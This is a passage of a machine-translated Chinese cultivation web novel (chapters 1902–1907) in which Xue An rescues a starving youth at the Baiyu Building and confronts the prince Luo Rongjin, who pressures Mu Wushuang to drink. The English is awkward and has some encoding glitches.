    "Hehe, I don''t see that the bones are quite hard, do you not say anything? Then beat me to death, when will he beg for mercy, and when will it be finished!" The strong man roared with a grim look.


    This time, this group of people played more vigorously, and every time they played dead hands.


    Many onlookers in the distance were unbearable when they saw it, but no one dared to stop because everyone knew that this strong man was the person in charge of the first floor of the Baiyu Building.


    The person who was beaten apparently came here to eat for nothing, but was caught by the brawny man. Now this is about to stand up in public.


    Many people can''t help shaking their heads secretly.


    It��s not good to go to eat free food, and I actually went to Baiyulou to eat free food. Isn��t that a death hunt?


    At this moment, the brawny man saw that the man lying on the ground still said nothing, and couldn''t help furious.


    "The mouth is really hard. Uncle, I want to see if it is your mouth or my fist."


    When the words fell, he was shocked, and he was the cultivation base of the top true immortal.


    Then you have to hit with a fist.


    At this moment, his fist was suddenly blocked by **** that seemed to cut onions, and someone wrote lightly.


    "Well, how much did he eat from you, I will give it!"

 Chapter 1902： This is good, do you know why I beat you...

    As soon as this statement came out, everyone looked at the speaker.


    The brawny man was even more shocked, because he was abruptly blocked by **** without any premonition.


    He raised his eyes and saw that there was a young man in white clothes standing in front of him with a delicate face, looking at him indifferently.


    It is Xue An.


    The brawny man''s heart trembled slightly, and his arrogant arrogance instantly reduced a lot.


    "My lord, what is your relationship with this person?"


    "Relation?" Xue An shook his head, "It doesn''t matter, I just feel that Yu Xin can''t bear it. How much has he eaten from you, I will give it!"


    "This..." The strong man suddenly hesitated.


    To be honest, although the person who was beaten ate a lot, he didn''t have much money. After all, he only ate on the first floor.


    You must know that Baiyu Building is 100 stories high, and each floor has different consumption. The higher the floor, the higher the consumption.


    Waiting for the highest floors is not what most people can imagine.


    Even if you have money, you can''t enter. You have to have enough identity to enter.


    The reason why he hesitated was because he didn''t intend to ask for money, but wanted to kill a hundred people and beat this person to death, so as to show his power.


    But now that Xue An suddenly intervened, he couldn''t help but hesitate.


    Seeing this, Xue An raised his eyebrows slightly and took out two pieces of the best spirit crystals from the space ring.


    "Is that enough?"


    call!


    The crowd onlookers was a commotion.


    "Wow, it''s the best spirit crystal?"


    "I didn''t expect to see the spirit crystal with such a good condition, it is worth ten thousand gold."


    The crowd talked a lot.


    After seeing the two spirit crystals, the brawny man showed greed in his eyes.


    This is no longer enough. With these two spirit crystals, you can even eat for a whole month on the first floor.


    If this is all given to myself, then I can also make a fortune from it!


    So he nodded busy and said: "Enough is enough!"


    His tone became more respectful again.


    Because the person who can take out such high-quality spiritual crystals is obviously not ordinary people.


    "Since it''s enough, don''t let anyone go?" Xue An said lightly.


    "Yes, yes, what are you doing in a daze? Get out of here!" The burly man turned around and cursed a few words, then turned around and smiled, reaching out to pick up Lingjing.


    But just when his fingers were about to touch the Lingjing, Xue An smiled coldly, and when he loosened his hand, the Lingjing fell to the ground.


    The crowd suddenly exclaimed.


    The brawny man was shocked even more, "You..."


    Xue An shrugged and said with a smile, "I''m really sorry, I didn''t catch my hand slip just now. Now I can only trouble you to pick it up!"


    The brawny man looked at Xue An, with a chill in his eyes.


    But it''s not easy to be the director of the first floor of Baiyulou, because he quickly concealed the chill perfectly, and said with a smile, "It''s okay, I just pick it up."


    As he said, he bent down and prepared to pick up the spirit crystal on the ground.


    But at this moment, Xue An suddenly stepped on his hand, and then twisted his face blankly.


    The brawny man immediately screamed like a pig.


    "Ahhhhh, what are you doing? Come on."


    These servants were just about to rush forward.


    Xue An raised his eyes and glanced at them coldly, "I see if any of you dare to come over, if you take a half step forward, his and your heads will explode to pieces immediately."


    These servants stopped immediately, not daring to make any changes.


    joke.


    Although he couldn''t see the origin and cultivation of this young man in white clothes, it could be seen from the powerful momentum that his words were not just for fun.


    It''s okay to bully and bully ordinary monks, but if you really want to take your life for this, it''s not worth it.


    After all, work belongs to Baiyulou, but life belongs to him.


    at the same time.


    Xue An bent down and burst into tears with a painful nose and tears. The brawny man who screamed like a wolf howling indifferently said: "Believe it or not you shout again, I won''t let you shout out in this life?"


    The brawny man immediately closed his mouth and looked at Xue An with fear.


    Xue An smiled and patted his head, "Is this a good man, do you know why I beat you?"


    The strong man shook his head.


    Xue An''s foot jerked again, and the burly man''s face instantly twisted due to the extreme pain.


    Even so, he still did not dare to make the slightest noise, and could only look at Xue An pleadingly.


    "Because you have a vicious mind, no matter if the other party eats free food or not, you didn''t want him to leave alive, right?"


    The strong man nodded hard, and squeezed a word from his teeth, "Yes!"


    "I want to cruel others for the sake of the pitiful power in my hand, you say...should I be punished?"


    "Oh!" the strong man said in a deep voice, but there was a hideous look in his eyes.


    Because he saw many figures shaking in the Bai Yulou through the reflection of the two spirit crystals on the ground.


    No need to ask, it must be Bai Yulou who learned the news and sent someone to rescue him.


    When the brigade arrives, I will let you survive and die!


    The brawny man shouted in his heart.


    at the same time.


    Just heard a coercive shout, "Who are you? Why do you dare to attack my people in Baiyulou?"


    After seeing the people who came out, the crowd was even more frightened.


    "It''s Sanye Leopard!"


    "Hey! The supervisors on the tenth floor of the Baiyu Tower are here. This young man is probably choking!"


    The Leopard Sanye walked into the court like a dragon, staring at Xue An with a sinking face, and then looked at the brawny man he was stomping on with his feet, and a look of anger appeared in his eyes.


    "Friend, who are you? How dare you come to my Bai Yulou to make trouble?"


    "Make trouble?" Xue An chuckled lightly, and the strong man hissed again with his feet hard.


    "Do you call this a disturbance?"


    San Ye''s eyes were full of anger, and he said grimly: "Boy, it seems that you are really tired of living, kill him for me!"


    With an order, hundreds of servants rushed out and rushed towards Xue An in all directions from above and below.


    At this moment, Mu Wushuang suddenly rushed out and shouted, "Don''t do it."


    As soon as the Leopard Sanye saw Mu Wushuang, his eyes condensed, Xuanshi sneered and said, "Stop!"


    The sound is silent.


    These people immediately stopped the offensive.


    Then the Leopard Third Master smiled weirdly at Mu Wushuang''s Yin and Yang Who am I? It turns out to be the lord of the Slaughter Temple! how? This kid is yours? "


    Mu Wushuang nodded with a sinking face, "He is my little brother."


    "Little Junior Brother?" Leopard Sanye gave Xue An a weird look, and then sneered.


    "Mr. Saintess, you are really talented at Slaughter Temple. You dare to oppose my Bai Yulou. How are you going to solve this matter?"


    Mu Wushuang showed hesitation on his face, then peeked at Xue An, wanting to see what he meant.


    But at this time, Xue An did not watch the crowd at all. Instead, he raised his head and looked at the upper part of the Baiyu Building, which was submerged in the clouds. His eyes flickered, and a meaningful smile appeared at the corner of his mouth. He didn''t know what he was thinking. .


    at the same time.


    On the ninety-ninth floor of the white jade building, there is a man wearing a light blue shirt, with a knife-cut eyebrow, a nose like a snake, and his eyes like a starry river, looking down at what is happening on the ground. .

 Chapter 1903： Incomprehensible style

    This is an extremely luxurious room, and all the words describing the magnificence are eclipsed at this moment.


    The air was filled with a faint scent. It was incense made from the single horn of Lei Ze white rhinoceros. Every gram was very valuable.


    The floor is ground from the body of the Thousand Years Blood Wood Demon, which is as smooth as a mirror but as warm as jade.


    Here is an inconspicuous little thing, and its origins may be scary.


    And on the sofas and recliners in the house are many young people with extraordinary backgrounds.


    These people are male and female, and all of them have extraordinary temperament. Even the weakest ones are in the realm of Da Luo, which shows how terrifying their backgrounds are.


    But with such a group of people, no one dared to speak at this moment, and the huge room was silent.


    Because everyone''s eyes focused on the man standing by the window.


    This man stood with his hands down, looked down at the ground, his gaze swept across Xue An and others, and finally stayed on Mu Wushuang''s body, then the corners of his mouth raised, and he chuckled in a playful tone.


    "Is this the so-called saint in Slaughter Temple?"


    As soon as the words fell, a man standing in the shadow of the corner immediately leaned forward, glanced at Mu Wushuang, and then nodded, "Yes, your Highness, this woman is the saint of the Slaughter Temple."


    At this time, his face was also exposed to the light, and he was a handsome young man.


    In particular, a pair of eyes are even more brilliant, showing their impressive cultivation skills.


    If there are other people present, they will definitely exclaim when they see this man.


    Because he is the chief supervisor of Baiyulou and also Teng Hongbo, one of the direct disciples of Shangqing Mountain.


    In Ziwu City, he even called this Teng Hongbo the White Jade Lord, who was a top-notch existence. Compared with him, the Leopard San Ye was just a little boy who was not influential.


    And even with his status, he had to be so respectful to this man. If this scene were seen by others, it would be shocking.


    But Teng Hongbo was content with this, and even his eyes were full of respect.


    In fact, even in these thousand sects of the Profound Society, this man is a superb existence.


    Because his father is the prestigious man, the palace master of the palace is ruthless.


    That''s right!


    He was the arrogant person who was so arrogant that he would pull a cart with a golden-eyed beast.


    At this moment, after hearing Teng Hongbo''s explanation, Luo Rongjin''s face showed a hint of sarcasm.


    "The last Thousand Sects Profound Meeting I was unable to come because of retreat. I heard that Xiao Tiansha was so out of the limelight that he even took away the primordial yin of the saint of the Slaughter Temple. What a lively event!"


    Teng Hongbo dared not say anything.


    Everyone in the room dared not even let out the atmosphere.


    Because they all knew that the prince of the East Palace of the People''s Palace and the peerless arrogant Xiao Tiansha of Xuan Ming Ling were extremely at odds.


    Faced with this kind of grievances between top sect disciples, it''s better to shut up.


    At this moment, Luo Rongjin smiled suddenly, and then said: "Ms. Yun Jun is not ready yet?"


    "The letter I just received said that I''m already dressing up, so I should come here soon! Or should I urge you?" Teng Hongbo asked.


    "Hey, don''t worry!" Luo Rongjin waved her hand and said with a smile: "A beautiful woman, she should be dressed well, how can I do that kind of horrible things that urge a beauty? Doesn''t it look like me? Very confused?"


    "No wonder your Royal Highness has thousands of confidantes, but you know the heart of women best, but I am vulgar and crude!" Teng Hongbo said with a smile.


    "Haha, I like to hear these words, but you are not bad, this huge white jade building is the least cheesy on you!"


    Luo Rongjin smiled and patted Teng Hongbo on the shoulder.


    The atmosphere in the room eased, and everyone''s faces also showed smiles.


    But in the next second, the smile on Luo Rongjin''s face disappeared, and he said in an indifferent tone.


    "Since Miss Yunjun hasn''t come yet, let''s send someone to call this admiring lady. Anyway, it''s okay to be idle, just fun!"


    Teng Hongbo was taken aback and looked at Luo Rongjin with a bit of amazement.


    "Why, didn''t you understand?" Luo Rongjin said coldly.


    "Ah no, then I will do it now." He woke up instantly, bowed his head deeply, then bowed back.


    Luo Rongjin carried her hands on her back, staring at the scene downstairs, a sneer appeared at the corner of her mouth.


    "Since Xiao Tiansha can play it, I can also play it at Luo Rongjin."


    With that said, he turned his head to look at these men and women, and said lightly: "What do you think?"


    These people nodded immediately.


    "Yes, what your Highness said is too right, what about Xiao Tiansha, dare you to compare with your Highness?" a man said first.


    "Tsk tsk, your Highness can see this Mu Wushuang, that is her blessing!" It was a woman who was speaking, and her words were full of envy.


    As for the rest of the crowd, there was even more noise, and then there was a wave of flattery.


    But at this moment, Luo Rongjin stepped forward to the man who spoke first.


    The man was sitting on a recliner, so Luo Rongjin looked at him condescendingly with cold eyes.


    The room was quiet again.


    There was a look of panic in the man''s eyes, and then he forced a smile: "Your Highness, you..."


    Before the words fell, Luo Rongjin raised his hand suddenly.


    Snapped!


    A very loud slap in the face.


    This man rose from the ground and flew a full ten feet away before falling heavily to the ground.


    In fact, with his strength, he wouldn''t be beaten out, but the person who did it was Luo Rongjin, so he didn''t even dare to resist, and received the slap abruptly.


    After landing, the man''s face swelled up at a speed visible to the naked eye, and then looked at Luo Rongjin in amazement, but he didn''t even dare to say anything.


    As soon as Luo Rongjin stretched out her hand, Youmei immediately handed over a white hot towel Luo Rongjin gently wiped her hands and said in an indifferent tone: "You said Xiao Tiansha is not something, then I am rivals with him, so what am I?"


    The man''s complexion instantly turned pale, and he pleaded in a low voice: "Your Highness..."


    Luo Rongjin didn''t even lift his eyelids, "Just drag it, I don''t want to see him again."


    With an order, several soldiers in armor walked out of the void, dragged the men on the ground and walked out.


    There was a look of despair in the man''s eyes, but he didn''t even dare to beg for mercy, so he was dragged away silently.


    At this time, Luo Rongjin threw away the hot towel, looked around the people in the room, and then smiled slightly.


    "What are you doing in a daze? Come on, then have a drink!"


    "Ah yes yes yes, continue drinking!" These people woke up like a dream, hurriedly showed a smile and started drinking.


    At the same time, downstairs in Baiyu, the situation has reached the point of tension.

 Chapter 1904： Please go up to the 99th floor

    The Leopard Sanye was full of murderous expression, and said to Xue Anyin compassionately: "Boy, don''t think it can be done with the Slaughter Temple. This is Ziwu City, the site of Shangqing Mountain. I promise you will live out today. Can''t stop this street."


    Xue An smiled faintly, "Really? Then believe it or not, someone will come over and invite us to the 99th floor in a while?"


    There was a commotion among people.


    "Haha." San Ye sneered even more, "Ninety-nine floors? Do you know what kind of people can go there? You deserve it?"


    But as soon as his voice fell, a brilliance flashed by, and then Teng Hongbo appeared in the court.


    As soon as he appeared, the audience was in shock.


    "Fuck, the White Jade King has all come out, this is a big deal!"


    "How did this Prince Teng know the news?"


    People whispered to each other.


    After seeing Teng Hongbo, the three-faced Leopard Master instantly turned into a pug, smiled a few steps forward, and bowed to the ground.


    "Supervisor, why are you here?"


    Teng Hongbo didn''t even look at him directly, but took a deep look at Xue An, who was still stepping on the brawny man.


    At this time, the brawny man had already passed out in pain.


    When Sanye Leopard saw this scene, a cold sweat broke out on his forehead, and then he hurried forward.


    "Supervisor, I''m about to solve this matter, you..."


    He thought that Teng Hongbo came because of this incident.


    Unexpectedly, Teng Hongbo ignored this at all, did not even grunt, but looked at Mu Wushuang who was aside, and then smiled on his face.


    "It turns out that it was the Lord Saint who arrived and failed to meet him personally. It was really rude!"


    As soon as these words came out, Sanye Leopard stood still on the spot, and then there was a look of horror in his eyes.


    what happened?


    Isn''t the Slaughter Temple about to be removed from the Void Master?


    Why is the chief executive so respectful to Mu Wushuang?


    Could it be...


    Sanye Leopard''s face instantly turned pale, and his whole body trembled slightly.


    Mu Wushuang was equally surprised. She had seen this Teng Hongbo a few times, but there was no friendship. Why was he suddenly so passionate?


    But out of politeness, she nodded, "The chief executive is too polite, this matter..."


    "Hey, it''s just a trivial matter, what''s the point!" Teng Hongbo smiled very amiably. "It just happens that there is an adult upstairs who wants to see you. How about the lady going up and taking a rest?"


    Mu Wushuang was shocked, the smile on his face disappeared instantly, and said coldly: "Who wants to see me?"


    "In short, he is a very noble adult, he is waiting for you on the ninety-ninth floor."


    As soon as Mu Wushuang wanted to refuse, Teng Hongbo smiled and said: "I forgot to tell you, this adult may not have a good temper. If you refuse to go, I can''t guarantee what will happen!"


    This is no longer a secret threat, it is simply a naked persecution.


    Anger was boiling in Mu Wushuang''s eyes.


    Teng Hongbo went on slowly and said: "The Saintess Admirer is here to participate in the Thousand Sect Profound Society, right? If you can meet this big man, it may be of great help to you. Oh!"


    Mu Wushuang was about to attack.


    At this moment, Xue An suddenly raised his foot and walked over, smiling and saying: "It sounds good, or should we go up and take a look?"


    Mu Wushuang was taken aback, then looked at Xue An very strangely.


    what happened?


    How could he agree to such a request?


    But out of trust in Xue An, she still closed her mouth.


    This Teng Hongbo saw a look of doubt in his eyes, but he smiled more brilliantly.


    "Well, it''s worthy of being a young hero, so how are we going now?"


    "Go?" Xue An shook his head, "The things here haven''t been dealt with yet, how can I go?"


    Teng Hongbo frowned when he heard the words, and then said coldly: "Leopard youngest!"


    The youngest Leopard, who was soaked in cold sweat, trembled when he heard the words, and then bit his scalp and walked forward, "Big..."


    Teng Hongbo slapped him severely before he said the word supervisor.


    Leopard''s third child was smashed with his mouth full of teeth, but there was a touch of joy in his eyes.


    Because as long as you are beaten, it means you can live.


    really.


    But seeing Teng Hongbo sternly said: "The Adorable Girl is a distinguished guest of our Baiyulou, are you just treating others like this?"


    Leopard''s youngest son was full of blood and couldn''t even speak, so he could only nod and bow.


    "Expulse the person in charge on the first floor from Ziwu City and never hire! Understand?"


    Leopard''s third child nodded frantically, indicating that he understood.


    Teng Hongbo turned around and looked at Xue An. He smiled and said without a smile: "My friend, what do you think of this approach?"


    Xue An smiled slightly, and then walked to the person who had been beaten before.


    Everyone looked around.


    But seeing that this person has been lying on the ground during the whole process, without even moving, it can be said that he does not know his life or death.


    But soon, there was a slight snoring sound from under this person.


    Everyone was taken aback for a moment, and then they were all dumbfounded.


    It was so lively just now, but this one was really good, and he fell asleep like that.


    Xue An didn''t have any expression on his face, but said lightly: "Hey, don''t sleep!"


    Said Xue An gently pushed the person.


    The man finally moved, first moved his arm, and then slowly sat up.


    When his face appeared in front of everyone, many people were slightly surprised.


    Because it was different from the rascal who thought about eating and drinking, this was actually a very handsome boy.


    Although he was wearing a shabby moon-white shirt, he still couldn''t hide the heroic spirit between his brows and eyes.


    Especially his eyes, like lavender colored glaze, are full of lazy beauty.


    The young man stretched a long waist first, and then said in a lazy tone: "Are you finished?"


    Xue An smiled, "It''s over."


    "I''ll be fine, then I''m leaving!"


    Said this young man got up and left.


    Xue An didn''t stop either, only waited for him to stand up and then said lightly: "Just leave like this? Don''t you want to eat something delicious?"


    "Huh?" The boy turned his head and glanced at Xue An, and said with interest: "What? Are you going to have a treat?"


    "It''s not me, but someone please, how about it, go or not?" Xue An said with a smile Go! Of course, why don��t some people go? "


    With that, the young man walked up to Xue An very naturally.


    "Where to eat?"


    "Don''t worry, just follow him."


    Teng Hongbo also saw this scene, but whether it was Xue An or this young man, he lacked interest.


    Because he didn''t see anything special about these two people.


    What''s more, what Luo Rongjin wanted was Mu Wushuang, and as for the others, he didn''t bother to pay attention.


    So when he saw this, he just said indifferently: "Mother Saint, let''s go!"


    After that, he led everyone to the Bai Yulou.


    Xue An whispered a few words in An Yan''s ear, An Yan nodded, and then led the two little girls to leave first.


    Then Xue An smiled, and then followed.

 Chapter 1905： I drink for her

    The Baiyu Building is a hundred stories high, so it is naturally impossible to climb up one after another.


    In fact, guests usually fly directly to the floor with magical powers.


    But this time, Teng Hongbo took everyone to ride a ladder unique to Baiyulou.


    Just like an elevator, this ladder is a tool for taking people upstairs.


    The difference is that the elevators on the earth are driven by electricity, while the elevators in Baiyulou are activated by clever formations.


    Soon, the group boarded the ninety-ninth floor.


    When the light of Dharma dissipated, what came into view was this extremely luxurious hall.


    A group of arrogant men and women sitting in every corner of the hall, looking at the people who came with scrutiny eyes.


    But no matter who it is, the first sight after entering this room will be attracted by Luo Rongjin sitting on the sofa not far away.


    Although he simply sat there, he seemed to have a natural aristocracy and compared everyone else.


    "His Royal Highness, the Saintess Admiration is here!" Teng Hongbo stepped forward and whispered.


    Luo Rongjin was drinking tea with her head down, and when he heard this, she raised her head and looked at Mu Wushuang.


    Mu Wushuang shook his whole body and blurted out, "Luo Rongjin?"


    As soon as this statement was made, the audience was in an uproar.


    Many people looked angrily at Mu Wushuang, who dared to call His Highness by name.


    But Luo Rongjin''s eyes lit up, waved her hand, motioned other people not to speak, and then stood up and said with a smile.


    "Miss Mu, this should be the first time we met! You actually recognize me, this really surprised me."


    Mu Wushuang''s complexion was very pale.


    If she knew that the person who invited her would be Luo Rongjin, she would not come for anything she said.


    Nothing else, just because Luo Rongjin''s identity is too terrifying.


    You must know that the Palace of Human Emperor is no less than the top sect of Xuanmingling Qianhe Palace.


    And Luo Rongjin, as the prince of the East Palace of the People''s Palace, can be said to be under one person, above hundreds of millions.


    Such an existence is far from something she can provoke a little Slaughter of Goddess.


    "Don''t be nervous, I just saw Girl Mu also by chance, so I invited you to come up for a drink." Luo Rongjin smiled politely, and then winked at the people beside her.


    Immediately, Mai Jijiao came up with a variety of drinks.


    "What do you want to drink?" Luo Rongjin asked with a smile.


    In any case, the current Luo Rongjin''s performance is impeccable.


    Noble temperament and excellent education are revealed everywhere.


    But Mu Wushuang shook his head, and then took a deep breath, "Your Highness, I''m really sorry, I won''t drink."


    Luo Rongjin raised her eyebrows slightly, "What? Girl Mu didn''t drink? It''s really a shame, how about eating something?"


    When the words fell, someone immediately served an extremely rich banquet.


    Every dish is worth ten thousand gold.


    "Come, please sit down and eat slowly!" Luo Rongjin said with a smile.


    But as soon as he finished speaking, the boy who had been beaten before rushed to the table with his eyes shining brightly, and then he feasted on it regardless.


    This sudden scene made many people angry.


    But Luo Rongjin still looked at Mu Wushuang with a smile on his face.


    Mu Wushuang had no choice but to sit down too.


    From beginning to end, no one looked at Xue An more, as if he were pure air.


    Xue An didn''t care about these, but sat at the table very naturally.


    Although this old man had just eaten on the first floor, he was eating like a glutton who had been hungry for many years.


    Not to mention anything else, just looking at the way he eats is very appetizing.


    So Xue An also ate with a smile.


    But as soon as he ate a cup of tea, he saw this Luo Rongjin holding a glass of wine, and smiled slightly when he greeted Wushuang.


    "This is specially brewed monkey wine, how about a drink?"


    Hearing the three words "Houerjiu", Mu Wushuang was like a painful recollection, and immediately refused.


    "Hall Lord, I really can''t drink at all, so I''m sorry."


    Luo Rongjin''s hands froze in the air, the smile on his face remained, but the cold light gradually appeared in his eyes.


    "So, you don''t even want to drink my toast?"


    Words fall.


    The audience quieted down instantly.


    Only the sound of the starving boy eating.


    Many people stood up silently and stared at Mu Wushuang with extremely cold eyes.


    Mu Wushuang''s complexion turned pale, and a look of horror loomed in his eyes.


    Because even though Luo Rongjin just asked softly, she felt a powerful force rushing toward her face.


    Has this person''s strength reached this point?


    Despite this, she still said with difficulty: "Lord, I really can''t drink wine."


    "Can''t drink... or don''t you want to drink with me?"


    Speaking of this, the smile on Luo Rongjin''s face disappeared instantly, his eyes were as glorious as ice, "Or, I can''t compare to Xiao Tiansha?"


    As soon as he said this, Mu Wushuang''s face instantly paled, and his eyes were full of infinite humiliation.


    "Lord, you..."


    "I toast the wine, no one dares to refuse, so today you have to drink, and you have to drink if you don''t! Understand?" Luo Rongjin said lightly.


    Mu Wushuang was shaking all over.


    But at this moment, a hand swept past her, and then caught the wine glass that Luo Rongjin handed over, and said lightly: "Since she can''t drink it, how about I drink it for her?"


    Mu Wushuang looked up, but saw that Xue An had appeared behind her for some time. When she looked over, Xue An lowered his head and smiled at her.


    In an instant, a great sense of security surged into her heart.


    But at this moment, Luo Rongjin''s face instantly became gloomy, and his eyelids were jumping vigorously.


    But he did not speak.


    Because at this moment, someone clamored behind him.


    "You drink for her? What are you? You deserve to drink with your Highness?"


    "Yes, you are what a joke!"


    Xue An''s smile was getting colder, and his slender fingers slowly turned the celadon glass, and said lightly: "My patience is actually very limited, so I hope you better stop now!"


    "Shut up? Haha..." The person who mocked the loudest before sneered and just wanted to talk down.


    The wine glass in Xue An''s hand suddenly disappeared, and it was already in his mouth when it appeared again.


    Bang!


    The man was blasted from the ground by a huge force, smashed two tables, and hit the top of the wall before stopping.


    Looking at him at this time, not only his mouth was **** and bloody, but even his jaw was broken.


    This hand was really shocking, the audience was quiet at first, and then it boiled.


    "Dare to hurt someone in front of His Highness and kill him!"


    "Yes, kill him!"


    Amid the roar, Xue An smiled coldly, standing proudly, without the slightest trace of fear.


    And the teenager who had been feasting, wiped his mouth with his sleeve after a hard swallowing meal, and then came to Xue An''s side.


    Luo Rongjin said nothing, but looked at Xue An coldly.


    The situation instantly became extremely tense.


    But at this moment, a ring of Peking Bell came from the stairs.


    Then he heard a gentle female voice smiling and saying: "What''s the matter, why is it so lively?"

 Chapter 1906： Skin Bai Shengxue

    Following the voice, I saw many beautiful maids filed up from the stairs.


    After these maidservants came up, they all stood on both sides with their hands down, seeming to be welcoming something.


    Immediately afterwards, I saw a woman carrying a dress, walking slowly up the steps.


    This is a woman wearing a lavender shirt. She is white and snowy, with picturesque eyebrows, and her heartbeat stopped for a while.


    Especially her eyes seemed to be able to speak, and there were a lot of styles in Gu Pan''s glory.


    When he saw this woman, Xue An couldn''t help being startled, and immediately showed a faint smile, but did not speak, just took a half step back.


    At the same time, there was a commotion in the audience.


    Teng Hongbo hurriedly smiled and greeted him, "Ms. Yun Jun, you are finally here. Your Royal Highness has been waiting for you for a long time, and everyone in the world is qualified to let His Royal Highness wait for you."


    That''s right.


    The visitor was the master oiran of Baiyulou, Gong Yunjun.


    We must know that this white jade building is not only the premier restaurant in Ziwu City, but also a top-notch gold cave and hero grave.


    Countless beautiful women gathered here, and some even said that if you can''t find a suitable girl in Baiyulou, it means that the heavens have no suitable girl for you.


    And Gong Yunjun can stand out in such an environment and become the master oiran, which shows how charming he is.


    For example, now, everyone in the audience looked at this Gong Yunjun with amazing eyes.


    Only Luo Rongjin didn''t say a word, and sat on the sofa with a deep face and didn''t move.


    Teng Hongbo winked at Chong Gong Yun Jun.


    Gong Yunjun covered her mouth and chuckled, and then walked over to him.


    "His Royal Highness, why are you so depressed? Do you think the slaves are late?"


    The language is graceful and touching, and there is also a little bit of anger, which makes people feel comfortable just by hearing.


    The faces of the few people who were close to him were fascinated.


    Sniffing the faint fragrance from Gong Yunjun''s body, the gloom on Luo Rongjin''s face gradually disappeared, and then stood up and said with a gentle smile.


    "Ms. Yun Jun misunderstood, how could I feel that you are too late! It''s just that some unpleasant episodes happened."


    Gong Yunjun also noticed the **** man not far away, but she was used to big scenes and just smiled faintly.


    "Oh? I don''t know who is such a bold man who dares to offend your Highness!"


    As she said, her beautiful eyes flowed, her eyes swept over Mu Wushuang and others.


    Although her expression was soft and charming, after being swept over by her gaze, Mu Wushuang''s heart suddenly rose with a hint of chill, which couldn''t help but make her eyes appear solemn.


    This beautifully crowned white jade tower, the palace oiran second to none in the entire Ziwu City...obviously it is not that simple.


    Then Gong Yunjun looked at the greedy boy again.


    The young man had a leisurely look on his face, as if he was reminiscing about the flavour of the meal just now, and he didn''t know anything about what happened outside.


    Gong Yunjun didn''t care too much, but when her gaze finally swept over Xue An, she was about to turn around and suddenly froze in place.


    Immediately afterwards, there was an extremely hot light in her eyes, and her whole body trembled.


    "Big..." The word whispered in her throat, but immediately it seemed that she had discovered something, and the flame in her eyes dimmed.


    "Huh? Miss Yun Jun, what''s the matter with you? Why is your face so embarrassing?" Luo Rongjin on the side noticed the strangeness and asked in a deep voice.


    "Ah, nothing!" Gong Yunjun''s face was pale as paper, and he gave a strong smile, and then took a deep look at Xue An, a look of doubt in his eyes.


    what happened?


    How is this person so similar to an adult? He even admitted the wrong person.


    But soon she concealed these abnormalities perfectly, and then rushed to Rong Jin with a smile.


    "Hall Master, I think these people are just ordinary sect disciples. In your capacity, why do you have the same knowledge as them. Why don''t you give me a face, just forget it, what do you think?"


    Luo Rongjin looked at her quietly and suddenly laughed, "If you believe it or not, if someone else said it, he is dead now and can''t die anymore!"


    Gong Yunjun smiled and said, "What shall I say?"


    "Are you..." Luo Rongjin suddenly stretched out her hand to gently hook Gong Yunjun''s lips, then put it in her mouth, took a very satisfied sip, and then sighed.


    "It smells so good!"


    There was no strangeness on Gong Yunjun''s face, and even the slightest change in her smile.


    At this time, Luo Rongjin raised his eyes to look at Mu Wushuang, and said faintly: "Mu Wushuang, although I don''t know why Miss Yun Jun is begging for you, but since the ladies have interceded with me, I will give you a chance."


    As he said, he pointed to a glass of wine on the table and said lightly: "After drinking this glass of wine, then you can go."


    A touch of relief appeared in Mu Wushuang''s eyes.


    She had just prepared for the worst but she didn''t expect to turn around and the situation had room for maneuver.


    So she took a deep breath and just wanted to step forward to take the glass of wine.


    The greedy teenager who had not spoken all of a sudden rushed to the front, picked up the wine glass, and poured it all into his mouth.


    Then he smacked his mouth, "Well, it tastes good, any more?"


    The audience was quiet for an instant, and everyone was a little dumbfounded.


    Luo Rongjin raised his eyebrows, and a deep anger appeared on his face.


    But Gong Yunjun took this opportunity to fill a glass of wine and brought it to Luo Rongjin personally.


    "Okay, Your Highness, no matter who drank it, this glass of wine is considered to be drunk, just let them go, otherwise stay here, and it will be a shame for you!"


    Luo Rongjin snorted coldly and stopped talking.


    Upon seeing this, Gong Yunjun quietly rushed to Mu Wushuang and the others nodded.


    Mu Wushuang looked hesitant.


    Because she didn''t know what Xue Anhui meant.


    He doesn''t care, but he is the majestic Red Lotus Immortal Venerable, can he bear this anger?


    But she just started thinking, but when she saw Xue An took the lead, she walked out and urged when she passed her.


    "What are you doing in a daze, hurry up!"


    Mu Wushuang was a little dazed, but still obediently followed Xue An and left.


    This greedy teenager was walking with him.


    Soon, they left the Baiyulou and came to the street.


    Until then, Mu Wushuang finally couldn''t help the doubts in his heart, and asked in a low voice: "My lord, you... why are you walking so fast?"


    Xue An said slowly: "Do you go fast? I don''t think so!"


    With that, Xue An turned his head and glanced at Mu Wushuang, "Are you wondering why I left?"


    Mu Wushuang nodded, "A bit!"

 Chapter 1907： The world can only live up to gourmet food

    Xue An said calmly, "Of course I can do it on the spot, even killing that Luo Rongjin, but don��t forget what the purpose of my visit is this time. How can you continue to play?"


    Only then did Mu Wushuang suddenly realize, and Zheng focused his head and said: "I understand, it really is an adult who sees far-reaching things."


    Xue An smiled, and then looked back at this towering white jade building, and said lightly: "I haven''t seen it for so many years, the yellow hair girl was so beautiful back then!"


    "My lord, what are you talking about?"


    "Oh, nothing, let''s go! Go back to Guanyi!"


    After that, Xue An looked at the greedy teenager, "Do you have a place to go?"


    The boy shook his head, and said in a very firm tone: "No."


    "Then go back with me first."


    "Anything to eat?"


    "Enough pipe."


    "Good!" The boy replied very simply, without even hesitating.


    Mu Wushuang listened to the conversation between the two dumbfounded, and he really didn''t understand why Xue An valued this young man of unknown origin so much.


    But Xue An seemed to admire this young man very much, and said with a smile: "Do you trust me so? I am not afraid that I will sell you."


    The boy shook his head unhappily, "I''m not afraid. I don''t have money to eat anyway. I''ll follow whoever can get me full."


    Mu Wushuang finally couldn''t help asking, "Is it so important to you to eat?"


    A blazing light appeared in the boy''s eyes, and he solemnly said, "Of course, for me, if there is only one thing in the world that can''t be disappointed, it must be delicious food."


    "So you have to eat if you have no money, even if you get beaten up?"


    "Is there any problem?" the boy asked rhetorically.


    Mu Wushuang: "..."


    The teenager went on and said: "I didn''t pay for the food I ate. It is okay to let them fight a few times to vent their breath. Anyway, the food has been eaten in my stomach and they can''t pour it out.


    Xue An couldn''t help crying or laughing, "You can be considered a talent if you have such a big obsession with eating!"


    "Thank you for the compliment. My philosophy is that every meal of a person must be treated well. After all, if you don''t even want to eat, what is the strength of living?"


    "I suddenly felt that you and a friend of mine would have a good affinity."


    "Does he like to eat too?"


    "No, he also likes to say some plausible crooks."


    When the Yanguang array above Ziwu City began to glow with a faint white light, the banquet in Baiyulou gradually dissipated.


    Gong Yunjun staggered back to his boudoir, and then lay down on the bed drunk.


